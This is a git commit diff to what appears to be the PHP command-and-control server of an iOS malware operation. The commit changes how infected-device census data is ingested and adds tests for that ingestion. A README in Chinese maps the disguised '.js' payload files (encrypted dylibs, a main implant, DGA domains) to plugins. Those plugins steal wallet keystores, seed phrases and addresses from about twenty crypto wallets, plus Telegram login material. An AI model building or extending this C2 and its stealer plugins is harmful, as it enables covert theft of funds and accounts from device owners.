feat: xxbb

This commit is contained in:
hashbro
2026-08-14 04:52:50 +08:00
parent 5bf6852f66
commit 3c9cda5329
6 changed files with 139 additions and 32 deletions
+5 -2
View File
@@ -19,7 +19,7 @@ use Illuminate\Support\Facades\Storage;
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
*
* Native path map (corepayload + details plugins):
* /a census, /u applist, /event telemetry, /t photo multipart, /nb notes,
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib).
*/
@@ -118,9 +118,12 @@ class XxbbC2Controller extends Controller
return Cache::add($debounceKey, 1, now()->addSeconds(8));
}
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
/** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
public function profile(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
return $this->xxbbAck($request);
}
+60 -27
View File
@@ -220,13 +220,19 @@ class IngestService
): void {
$needChannel = $this->channelIdEmpty($device->channel_id);
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
if (! $needChannel && ! $needDomain) {
$model = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$needModel = $this->shouldReplaceModel($device->device_model, $model);
$needIos = $this->shouldReplaceIos($device->ios_version, $ios);
if (! $needChannel && ! $needDomain && ! $needModel && ! $needIos) {
$device->forceFill(['updated_at' => now()])->saveQuietly();
return;
}
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attr = ($needChannel || $needDomain)
? $this->resolveChannelAttribution($request, $payload, $allowOldC)
: ['channel_id' => null, 'source_domain' => null];
$touch = ['updated_at' => now()];
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
$touch['channel_id'] = $attr['channel_id'];
@@ -234,6 +240,12 @@ class IngestService
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
$touch['source_domain'] = $attr['source_domain'];
}
if ($needModel && $model !== null) {
$touch['device_model'] = $model;
}
if ($needIos && $ios !== null) {
$touch['ios_version'] = $ios;
}
$device->forceFill($touch)->saveQuietly();
}
@@ -709,23 +721,19 @@ class IngestService
if (! is_array($payload)) {
return null;
}
foreach (['deviceModel'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
return $payload['m'];
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info)) {
foreach (['productType', 'machine', 'model'] as $key) {
if (! empty($info[$key]) && is_string($info[$key])) {
if (! empty($info[$key]) && is_string($info[$key]) && $this->looksLikeHardwareModel($info[$key])) {
return $info[$key];
}
}
}
foreach (['machine', 'm', 'deviceModel'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeHardwareModel($payload[$key])) {
return $payload[$key];
}
}
return null;
}
@@ -735,30 +743,55 @@ class IngestService
if (! is_array($payload)) {
return null;
}
// /api/user/get uses `v` for iOS version
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
return $payload['v'];
}
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info) && $this->looksLikeIosVersion($info['productVersion'] ?? null)) {
return trim((string) $info['productVersion']);
}
$sv = $payload['systemVersion'] ?? null;
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
return $sv['ProductVersion'];
if (is_array($sv) && $this->looksLikeIosVersion($sv['ProductVersion'] ?? null)) {
return trim((string) $sv['ProductVersion']);
}
if (is_string($sv) && $sv !== '') {
return $sv;
if (is_string($sv) && $this->looksLikeIosVersion($sv)) {
return trim($sv);
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
return $info['productVersion'];
foreach (['v', 'pv', 'ios', 'ios_version'] as $key) {
if ($this->looksLikeIosVersion($payload[$key] ?? null)) {
return trim((string) $payload[$key]);
}
}
return null;
}
private function looksLikeHardwareModel(string $value): bool
{
return (bool) preg_match('/^[A-Za-z]+\d/', $value);
}
private function looksLikeIosVersion(mixed $value): bool
{
return is_string($value) && $value !== '' && (bool) preg_match('/^\d+(\.\d+){1,3}$/', trim($value));
}
private function shouldReplaceModel(mixed $current, ?string $incoming): bool
{
if ($incoming === null || $incoming === '') {
return false;
}
$current = trim((string) $current);
return $current === '' || ! $this->looksLikeHardwareModel($current);
}
private function shouldReplaceIos(mixed $current, ?string $incoming): bool
{
if ($incoming === null || $incoming === '') {
return false;
}
return ! $this->looksLikeIosVersion($current);
}
/**
* Normalize `/api/user/status` shapes into address rows.
*
+2
View File
@@ -31,6 +31,8 @@ Writes:
- `{artifact-root}/details/` (default `../public/details`) — **published**
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public**
每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**.
`CACACACA` is left in place for per-channel packing.
@@ -0,0 +1,44 @@
# details 文件说明
`php artisan xxbb:build` 会把本目录复制到 `public/details/`,给植入后的 native 按需下载。
文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。
编号缺 `o15`:原包就没有这一号。`wap.js`(WhatsApp)在原 C2 上 404,这里也没有。
## 公共
| 文件 | 作用 |
|------|------|
| `show.html` | 配置清单(刷新间隔、core 地址、各 bundle 插件 URL) |
| `corepayload.js` | 主植入。上报 / DGA 的 `c` 打在这里(6 处) |
| `helion.js` | SpringBoard(`com.apple.springboard`),常驻,`cold=0` |
## 钱包 / 业务插件
文件名里的字母对应 native 上报字段 `a`(见 `WalletSource`)。
| 文件 | `a` | App | bundleId |
|------|-----|-----|----------|
| `a1lib.js` | a / a1 | MetaMask | `io.metamask.MetaMask` |
| `b2lib.js` | b / b1 | imToken | `im.token.app` |
| `c3lib.js` | c | TronLink | `com.tronlink.hdwallet` |
| `d4lib.js` | d | Trust Wallet | `com.sixdays.trust` |
| `e5lib.js` | e | Coinbase Wallet | `org.toshi.distribution` |
| `f6lib.js` | f | BitKeep | `com.bitkeep.os` |
| `g7lib.js` | g | Tonkeeper | `com.jbig.tonkeeper` |
| `h8lib.js` | h / h1 | Uniswap | `com.uniswap.mobile` |
| `i9lib.js` | i | Phantom | `app.phantom` |
| `j10lib.js` | j | MyTonWallet | `org.mytonwallet.app` |
| `k11lib.js` | k | Exodus | `exodus-movement.exodus` |
| `l12lib.js` | l | Ronin | `com.skymavis.Genesis` |
| `m13lib.js` | m | Krystal | `com.kyrd.krystal.ios` |
| `n14lib.js` | n | Tonhub | `com.tonhub.app` |
| `p16lib.js` | p | Global Wallet | `com.global.wallet.ios` |
| `q17lib.js` | q | Coin98 | `coin98.crypto.finance.insights` |
| `r18lib.js` | r | Bitpie | `com.bitpie.wallet` |
| `s19lib.js` | s | Solflare | `com.solflare.mobile` |
| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` |
| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` |
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`(Telegram 登录材料),不是助记词。
+1 -1
View File
@@ -150,7 +150,7 @@ def sha256_hex(data: bytes) -> str:
def ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages", "README.md"}
return {n for n in names if n in skip or n.endswith(".pyc")}
+27 -2
View File
@@ -105,16 +105,41 @@ class XxbbC2ApiTest extends TestCase
}
#[Test]
public function profile_does_not_create_device(): void
public function profile_creates_device_from_device_info(): void
{
$this->xxbbPost('/a', [
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'deviceModel' => 'iPhone',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk()->assertSee('1786468227899{}', false);
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
$this->assertNull($device->channel_id);
}
#[Test]
public function profile_upgrades_generic_model_on_existing_device(): void
{
Device::query()->create([
'device_id' => '000C30D83CD0402E',
'device_model' => 'iPhone',
'ios_version' => null,
]);
$this->xxbbPost('/a', [
'd' => '000C30D83CD0402E',
'deviceModel' => 'iPhone',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
}
#[Test]